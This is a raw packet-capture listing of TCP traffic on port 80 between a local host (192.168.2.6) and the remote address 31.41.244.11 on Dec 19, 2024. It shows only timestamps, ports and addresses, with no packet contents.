Dec 19, 2024 08:09:15.159686089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.159799099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.159866095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.160548925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.160650969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.160737038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.161405087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.161464930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.161513090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.162271023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.162332058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.162352085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.163083076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.163140059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.163189888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.163960934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.164019108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.164052963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.164709091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.164819956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.164911032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.164958000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.165666103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.165780067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.165832996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.166512966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.166667938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.166712046 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.167355061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.167404890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.167448044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.168201923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.168330908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.168694973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.169085026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.169183969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.169226885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.169928074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.170030117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.170074940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.170819998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.170912981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.170958996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.171663046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.171770096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.171823025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.172493935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.172564030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.172607899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.173330069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.173455000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.174189091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.174246073 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.174278021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.175041914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.175093889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.175156116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.175939083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.176002979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.176002979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.176702023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.176784992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.176894903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.176949024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.177608013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.177660942 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.177738905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.178457975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.178570986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.178623915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.179322958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.179423094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.179488897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.180179119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.180280924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.180340052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.181035042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.181170940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.181247950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.181880951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.182070971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.182127953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.182744980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.182838917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.182888031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.183618069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.183732033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.183784962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.184433937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.184545994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.184597015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.185290098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.185400963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.186146021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.186196089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.186243057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.187010050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.187067032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.187103987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.187866926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.187932968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.187944889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.188704014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.188707113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.188797951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.188853979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.189589024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.189682961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.189738989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.190402031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.190504074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.190566063 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.191276073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.191390038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.191445112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.192112923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.192205906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.192266941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.192975044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.193092108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.193804979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.193856001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.193926096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.194679976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.194729090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.343946934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.343961000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344023943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344082117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344122887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344161987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344172001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344183922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344196081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344202042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344218016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344248056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344614983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.344656944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.344799995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.345472097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.345515013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.345578909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.345619917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.346322060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.346363068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.346434116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.346472979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.347583055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.347631931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.347656965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.347697020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.348613024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.348624945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.348654032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.348669052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.349095106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.349188089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.349229097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.349740982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.349781036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.349842072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.349879980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.350610971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.350651026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.350759983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.350797892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.351438046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.351474047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.351553917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.351593971 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.352299929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.352344990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.352413893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.352453947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.353164911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.353282928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.353323936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.354017019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.354058981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.354146957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.354187965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.354867935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.354908943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.354967117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.355005980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.355787992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.355828047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.355842113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.355887890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.356584072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.356626987 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.356709003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.357460022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.357498884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.357567072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.357605934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.358294964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.358335972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.358369112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.358407021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.359160900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.359220982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.359270096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.359308958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.359996080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.360038042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.360145092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.360186100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.360937119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.361001968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.361044884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.361695051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.361731052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.361788988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.361825943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.362571001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.362611055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.362685919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.362726927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.363399029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.363439083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.363518953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.363559961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.364252090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.364351988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.364394903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.365098000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.365139008 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.365211010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.365252018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.365968943 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.366009951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.366048098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.366086960 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.366831064 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.366871119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.366946936 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.366986036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.367680073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.367718935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.367793083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.367831945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.368516922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.368562937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.368616104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.368653059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.369385958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.369431019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.369483948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.369524956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.370244026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.370284081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.370351076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.370388985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.371157885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.371208906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.371239901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.371279955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.371941090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.371982098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.372065067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.372104883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.372776985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.372906923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.372944117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.373639107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.373704910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.373749018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.373789072 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.374557018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.374598980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.374650002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.374690056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.375360966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.375415087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.375447035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.375487089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.376200914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.376301050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.376389027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.376389027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.377129078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.377185106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.377186060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.377235889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.377918005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.378005028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.378052950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.378120899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.378747940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.378791094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.378850937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.378962994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.379599094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.379643917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.379728079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.379818916 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.380480051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.380527973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.380585909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.380624056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.381320953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.381481886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.381534100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.382210970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.382260084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.382262945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.382302999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.383019924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.383148909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.383162975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.383199930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.383889914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.383996010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.384038925 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.384751081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.384867907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.384912014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.385596037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.385636091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.385704994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.385740042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.386471987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.386511087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.386533976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.386574030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.534699917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.534775972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.534842014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.534887075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.535099030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.535196066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.535239935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.535954952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.536087990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.536134958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:15.536782026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.536953926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:15.536993027 CET	49802	80	192.168.2.6	31.41.244.11
